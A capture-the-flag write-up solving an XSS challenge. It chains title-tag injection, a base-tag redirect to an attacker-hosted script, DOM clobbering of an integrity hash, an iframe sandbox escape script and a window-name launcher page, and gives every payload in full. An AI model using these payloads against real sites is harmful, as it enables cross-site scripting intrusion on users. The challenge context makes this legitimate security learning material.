Hey, welcome to the write up for wacky XSS challenge. Throughout the write-up, i will try to not to limit myself just to the payloads or steps i specifically used but will also give you guys a front row seat to the thinking process that went behind successful completion of this challenge.
The challenge was located at https://wacky.buggywebsite.com/ and ended on 9th november 10pm EDT.
I am gonna divide the challenge into several parts for better explanation:
You are greeted with this input field when you enter the challenge, after going around a bit i realised it has just 2 pages plus few scripts as well.
Our text was reflected on the iframe page inside, simply viewing frame source revealed our text was getting reflected at 2 places.
A very simple payload would reveal that the title tag is vulnerable to html injection
</title><script>alert(1)</script>
Our script obviously doesnt execute thanks to a defence mechanism called Content Security Policy. So lets move on to the next step.
Go to network tab and look at the page headers:
content-security-policy: script-src ‘nonce-ucbgymcgoplw’ ‘strict-dynamic’; frame-src ‘self’; object-src ‘none’;
few things to focus here:
If we get nonce, we can esentially run any script. So, naturally first we gonna try leak it somehow. There were several resources on this but unfortunately none actually works for us. So not-defeated, just keeping this aside, i try to poke around a bit.
https://csp-evaluator.withgoogle.com/ — because we love to automate stuff
Enter your csp above here, and we get a critical a high severity finding error
base-uri[missing]
Missing base-uri allows the injection of base tags. They can be used to set the base URL for all relative (script) URLs to an attacker controlled domain. Can you set it to ‘none’ or ‘self’?
so what is base-uri or base tag?
Lets say the webpage has a html tag <xxx src=/path>, in other words whenever relative paths are used instead of the whole url, the page completes this as www.origin/path however if the base tag(e.g.<base target="_blank" href="https://example.com/">
)is present. Then its resolved to https://example.com/path despite whatever page its on. read more.
So lets hunt for what all things are loaded from relative path:
So we have 2 cases in which we can force the page to load our file instead.
In the 2nd case since type is mp4, you can load any arbitary mp4 and cause to remote file inclusion but thats really not our motive here.
So unless we find a vuln in the video parsing library of chrome and load a malicious video we cannot really cause an XSS.
Now, onto first — here a defence called subresource integrity has been applied.
Why is this a big deal?
Because what this does is it loads the hash value of contents of the script and compares it with a hardcoded hash, so even if we are able to inport our own script we cant really change it to anything else other than the real script introduced by the developer. more here.
Present payload:
</title><base target=”iframe” href=”https://xxxxx.redir.bugpoc.ninja/">
Here i am using mock endpoint as well as flexible redirector by bugpoc, since its so so much easier than hosting a file over https server and constantly making changes to it and defining headers for it.
looks like….
A hacker’s worst nightmare — a hash function.
Since the subresource is being hashed and compared to a hard coded value, we really have only 3 choices:
Since CVE-2016–1636, which was patched in Google Chrome 49.0.2623.75, There isnt any known exploit affecting the library. So the 1st choice is off the table.
We all know hash collisions exist. But only theoritically. So, I had rule out the 2nd choice as well.
So we have just 3rd choice left, which also seems impossible. or is it?
Heres a snippet from the page source:
<script nonce=xxxxxxxx>
window.fileIntegrity = window.fileIntegrity || {
‘rfc’ : ‘ https://w3c.github.io/webappsec-subresource-integrity/',
‘algorithm’ : ‘sha256’,
‘value’ : ‘unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=’,
— snip —
“A common pattern used by JavaScript developers is:
var someObject = window.someObject || {};
If you can control some of the HTML on the page, you can clobber the someObject reference with a DOM node, such as an anchor…”
This is well explained here.
But the common payloads like:
<form id=”fileIntegrity”><a id=”fileIntegrity” name=”value” href=”d8Ic1uV7IeB50l……..GWd12CUZbfm8czJw=”>
wont cut it here, because since we are using base tag as well, it gets modified to
sha256-www.redir.com/d8Ic1uV……….d12CUZbfm8czJw=
instead of
sha256-d8Ic1uV7I………Wd12CUZbfm8czJw=
After a bit of reading around, i finally formulated another payload — which can be found here as well.
so our payload until now is:
</title><base target=”iframe” href=”https://xxxxxxxx.redir.bugpoc.ninja/"><output id=fileIntegrity>s7ukMoQThWrleJgNJPZfhm0YhrdECzffE0ZjASRRO0U=</output>
We have basically declared a global variable(which overrides the hardcoded one):
fileIntegrity.value=the_ hash_of_our_file //you can try this in console
P.S. to obtain the hash there are several ways, however entering the payload with wrong hash displays the right one in console so its just the fastest one.
We cannot yet pop alert right now due to iframe sandboxing but go on, try having console.log(“hacked”) inside your js file ;) you deserve some serotonin.
Our challenge is to display an alert box, if you look here
// create a sandboxed iframe
analyticsFrame = document.createElement(‘iframe’);
analyticsFrame.setAttribute(‘sandbox’, ‘allow-scripts allow-same-origin’);
analyticsFrame.setAttribute(‘class’, ‘invisible’);
document.body.appendChild(analyticsFrame);
Since our script is loaded inside an iframe, to be able to display an alert box we need an attribute allow-modal which is not present here.
Stop googling for iframe sandbox bypass already, you wont find anything worthwhile, however if you go here and scroll down and down and down.
You will see a warning message.
Notes about sandboxing:
When the embedded document has the same origin as the embedding page, it is strongly discouraged to use both
allow-scripts
andallow-same-origin
, as that lets the embedded document remove thesandbox
attribute — making it no more secure than not using thesandbox
attribute at all.
So we have to write a script that will remove the iframe and replace it with one without restriction. You following along? This sounds easy but in-reality there was really not much information on this.
Dusekdan offers us the poc for this —sadly however it really wont work for us right off the bat so heres my code with few tune ups(i haven’t deleted some of the original code for this presentation because it gives a good visualisation):
const illegalCode = () => {
alert(“You should not see me, because original iframe did not have ‘allow-modals’. iframe had allow-scripts and same-origin though. A new iframe without sandbox attribute was created — and here I am.”);
//sadly this doesnt fire anyway
}const escape = () => {
document.body.innerText = “Loaded into a frame.”;let parent = window.parent;
let container = parent.document.getElementsByTagName(“iframe”)[0];
if (parent.document.getElementsByTagName(“iframe”)[0] != null) {
// Recreate and insert an iframe without sandbox attribute that
// plays by our rules.
let replacement = parent.document.createElement(“iframe”);
replacement.setAttribute(“id”, “escapedAlready”);
//instead of using src to this script again which wont work for us thanks to
//frame-src self csp, a clean work around was to enter data inside script tag
let g = document.createElement(“script”);
g.innerHTML = “alert(origin)”;
replacement.appendChild(g);
parent.document.body.append(replacement);// Remove original iframe (avoid an infinite loop)
container.parentNode.removeChild(container);//code in the else statement wont work for us since we arent opening this script //again
} else {
illegalCode();
}
}escape();
What we did it we from inside the iframe went to the parent document, selected the tag then in replacement created an iframe again but without sandbox attribute and inside it we added our little script.
So go mock endpoint by bugpoc and save this script, then to flexible redirector and paste the link there and get the url to be inserted in base tag.
Dont forget to add header
access-Control-Allow-Origin: *
Our payload now finally:
</title><base target=”iframe” href=”https://zu2i14sjykqz.redir.bugpoc.ninja/"><output id=fileIntegrity>s7ukMoQThWrleJgNJPZfhm0YhrdECzffE0ZjASRRO0U=</output>
But convincing the victim to enter this in his webpage is a little too much.
If you just go to inspect element you will see the url of iframe with our payload.
Copy and paste the link in the new tab.
It doesnt work, because the page needs to be loaded inside an iframe.
lets look at the code again for the last time:
// verify we are in an iframe
if (window.name == ‘iframe’){
so lets do just some more scripting for the one last time:
<html>
<body><p>Click the button to commence attack</p>
<button onclick=”myFunction()”>the button</button>
<script>
function myFunction() {
myWindow = window.open(“https://wacky.buggywebsite.com/frame.html?param=%3C/title%3E%3Cbase%20target=%22iframe%22%20href=%22https://zu2i14sjykqz.redir.bugpoc.ninja/%22%3E%3Coutput%20id=fileIntegrity%3Es7ukMoQThWrleJgNJPZfhm0YhrdECzffE0ZjASRRO0U=%3C/output%3E", “iframe”, “width=2000,height=1000”);
}</script>
Opening a window and naming it as iframe does the trick and we get our beautiful alert box displaying origin and then one by amazon thanking us for our participation.